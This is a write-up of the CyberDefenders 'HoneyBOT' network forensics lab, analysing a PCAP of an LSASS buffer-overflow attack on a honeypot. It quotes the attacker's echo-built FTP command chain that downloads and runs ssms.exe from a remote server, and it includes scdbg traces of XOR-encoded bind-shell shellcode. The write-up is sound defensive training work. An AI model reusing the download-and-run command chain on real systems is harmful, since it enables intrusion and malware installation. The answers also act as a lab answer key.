HoneyBOT Lab
CyberDefenders Network Forensics Lab
Scenario
A PCAP analysis exercise highlighting attacker’s interactions with honeypots and how automatic exploitation works.. (Note that the IP address of the victim has been changed to hide the true location.)
As a soc analyst, analyze the artifacts and answer the questions.
Question 1
What is the attacker’s IP address?
Answer 1
Checking the endpoints to quickly see how many IP addresses were in the log, only revealed 2. A local and a foreign IP address. Giving me the answer, 98.114.205.102.
Question 2
What is the target’s IP address?
Answer 2
Following the same logic as above, the local IP address in which the attacker was communicating with was, 192.150.11.111.
Question 3
Provide the country code for the attacker’s IP address (a.k.a geo-location).
Answer 3
Press enter or click to view image in full size
The country code for IP address is the US.
Question 4
How many TCP sessions are present in the captured traffic?
Answer 4
Looking through the Conversations page within Wireshark, I can see that there were 5 total TCP sessions in the capture file.
Question 5
How long did it take to perform the attack (in seconds)?
Answer 5
Looking at the total capture length gave me the answer pretty quickly, the attack lasted around 16 seconds.
Question 6
Provide the CVE number of the exploited vulnerability.
Answer 6
Not knowing what exactly the attack was, I started to look for packets that stood out from the rest. Packets 33 and 38 had an interesting request. A DsRoleUpgradeDownlevelServer request. After a quick search, I found that it was a buffer overflow vulnerability in certain Active Directory service functions in LSASRV.dll. Giving me the answer: CVE-2003–0533.
Press enter or click to view image in full size
Question 7
Which protocol was used to carry over the exploit?
Answer 7
Within the packet, as well as the proof of concept exploit you can see that the protocol SMB was used.
Question 8
Which protocol did the attacker use to download additional malicious files to the target system?
Answer 8
Looking deeper into the packets, I was looking for commands to be executed by the attacker. In packet 42, I could see that they used FTP to grab a file from outside the targets machine.
Question 9
What is the name of the downloaded malware?
Answer 9
The above image tells me the answer. The attacker FTP’s ssms.exe from a remote server. This is the payload.
Question 10
The attacker’s server was listening on a specific port. Provide the port number.
Answer 10
Copying the packets data string into an empty note file made it much easier to read what was going on.
echo open 0.0.0.0 8884 > o&
echo user 1 1 >> o &
echo get ssms.exe >> o &
echo quit >> o &ftp -n -s:o &del /F /Q o &ssms.exeThe answer in this case being port 8884.
Question 11
When was the involved malware first submitted to VirusTotal for analysis? Format: YYYY-MM-DD
Answer 11
A small learning moment here for me. Using Analyze -> Follow -> TCP Stream, I am able to follow different streams of data from the attacker.
tcp.stream eq NUMBERUsing the above command and replacing “NUMBER” I am able to see various commands the attacker sent to the victim.
On TCP Stream 3, I can see the attacker sent a command to open the malicious binary file (packet 67). After which I can look at TCP Stream 4 to get the raw binary data that is being executed. Export the raw data (not the default ASCII) and upload it to VirusTotal.
Press enter or click to view image in full size
Question 12
What is the key used to encode the shellcode?
Answer 12
This is the point where I would need to disassemble shellcode using scdbg. To do this I had to boot up my Windows 11 VM. Sadly I couldn’t seem to find a way to do this process in my Kali VM.
This was also rather new to me, so after reading up how to use scdbg I managed to get the following output:
Select index to execute:: (int/reg)
0
Loaded 3328 bytes from file C:\Users\Test\DOWNLO~1\scdbg\raw.sc
Detected straight hex encoding input format converting...
Initialization Complete..
Max Steps: 2000000
Using base offset: 0x401000
Execution starts at file offset 70f
40170f 90 nop
401710 90 nop
401711 90 nop
401712 90 nop
401713 90 nop
4018cf GetProcAddress(CreateProcessA)
4018cf GetProcAddress(ExitThread)
4018cf GetProcAddress(LoadLibraryA)
401843 LoadLibraryA(ws2_32)
4018cf GetProcAddress(WSASocketA)
4018cf GetProcAddress(bind)
4018cf GetProcAddress(listen)
4018cf GetProcAddress(accept)
4018cf GetProcAddress(closesocket)
401859 WSASocket(af=2, tp=1, proto=0, group=0, flags=0)
40186d bind(h=42, port:1957, sz=10) = 15
401873 listen(h=42) = 21
401879 accept(h=42, sa=21, len=21) = 68
4018b6 CreateProcessA( cmd, ) = 0x1269
4018ba closesocket(h=68)
4018be closesocket(h=42)
4018c2 ExitThread(0)
Stepcount 7657The first chunk of code contains a NOP sled. Meaning a bunch of blank space, which lines up with a stack buffer overflow. Running dump of the hexcode again through scdbg and selecting the next off set I was able to find the start of the shell code.
Select index to execute:: (int/reg) 1
1
Loaded 3328 bytes from file C:\Users\Test\DOWNLO~1\scdbg\raw.sc
Detected straight hex encoding input format converting...
Initialization Complete..
Max Steps: 2000000
Using base offset: 0x401000
Execution starts at file offset 7c1
4017c1 E8EBFFFFFF call 0x4017b1
4017c6 7095 jo 0x40175d ^^
4017c8 98 cbw
4017c9 99 cwd
4017ca 99 cwd
4018cf GetProcAddress(CreateProcessA)
4018cf GetProcAddress(ExitThread)
4018cf GetProcAddress(LoadLibraryA)
401843 LoadLibraryA(ws2_32)
4018cf GetProcAddress(WSASocketA)
4018cf GetProcAddress(bind)
4018cf GetProcAddress(listen)
4018cf GetProcAddress(accept)
4018cf GetProcAddress(closesocket)
401859 WSASocket(af=2, tp=1, proto=0, group=0, flags=0)
40186d bind(h=42, port:1957, sz=10) = 15
401873 listen(h=42) = 21
401879 accept(h=42, sa=21, len=21) = 68
4018b6 CreateProcessA( cmd, ) = 0x1269
4018ba closesocket(h=68)
4018be closesocket(h=42)
4018c2 ExitThread(0)
Stepcount 7496After not finding much in the way of a key. I tried verbose mode in scdbg.
This give me a clear answer. The shell code was using XOR encryption/decryption.
4017c1 E8EBFFFFFF call 0x4017b1 step: 0
4017b1 5A pop edx
4017b2 4A dec edx
4017b3 33C9 xor ecx,ecx
4017b5 66B97D01 mov cx,0x17d
4017b9 80340A99 xor byte [edx+ecx],0x99 step: 5
4017bd E2FA loop 0x4017b9
4017b9 80340A99 xor byte [edx+ecx],0x99
4017bd E2FA loop 0x4017b9
4017b9 80340A99 xor byte [edx+ecx],0x99
4017bd E2FA loop 0x4017b9 step: 10
4017b9 80340A99 xor byte [edx+ecx],0x99
4017bd E2FA loop 0x4017b9
4017b9 80340A99 xor byte [edx+ecx],0x99
4017bd E2FA loop 0x4017b9
4017b9 80340A99 xor byte [edx+ecx],0x99 step: 15
4017bd E2FA loop 0x4017b9
4017b9 80340A99 xor byte [edx+ecx],0x99
4017bd E2FA loop 0x4017b9
4017b9 80340A99 xor byte [edx+ecx],0x99
4017bd E2FA loop 0x4017b9 step: 20
4017b9 80340A99 xor byte [edx+ecx],0x99
4017bd E2FA loop 0x4017b9
4017b9 80340A99 xor byte [edx+ecx],0x99
4017bd E2FA loop 0x4017b9
4017b9 80340A99 xor byte [edx+ecx],0x99 step: 25
4017bd E2FA loop 0x4017b9
4017b9 80340A99 xor byte [edx+ecx],0x99The key being: 0x99.
Question 13
What is the port number the shellcode binds to?
Answer 13
The output in the previous question gives me the answer here. Looking at the commands the shell code was executing.
4018cf GetProcAddress(CreateProcessA)
4018cf GetProcAddress(ExitThread)
4018cf GetProcAddress(LoadLibraryA)
401843 LoadLibraryA(ws2_32)
4018cf GetProcAddress(WSASocketA)
4018cf GetProcAddress(bind)
4018cf GetProcAddress(listen)
4018cf GetProcAddress(accept)
4018cf GetProcAddress(closesocket)
401859 WSASocket(af=2, tp=1, proto=0, group=0, flags=0)
40186d bind(h=42, port:1957, sz=10) = 15
401873 listen(h=42) = 21
401879 accept(h=42, sa=21, len=21) = 68
4018b6 CreateProcessA( cmd, ) = 0x1269
4018ba closesocket(h=68)
4018be closesocket(h=42)
4018c2 ExitThread(0)A bind command to port 1957.
Question 14
The shellcode used a specific technique to determine its location in memory. What is the OS file being queried during this process?
Answer 14
After looking at all the commands the shellcode was executing, I decided to look up what file they were being pulled from. This didn’t really give me much, although my instinct told me that the OS file was probably kernel32.dll. Which is commonly called upon in malware.
I need to do further research on this topic. However a reexamine of the VirusTotal page did show that the malware uses kernel32.dll.
Last updated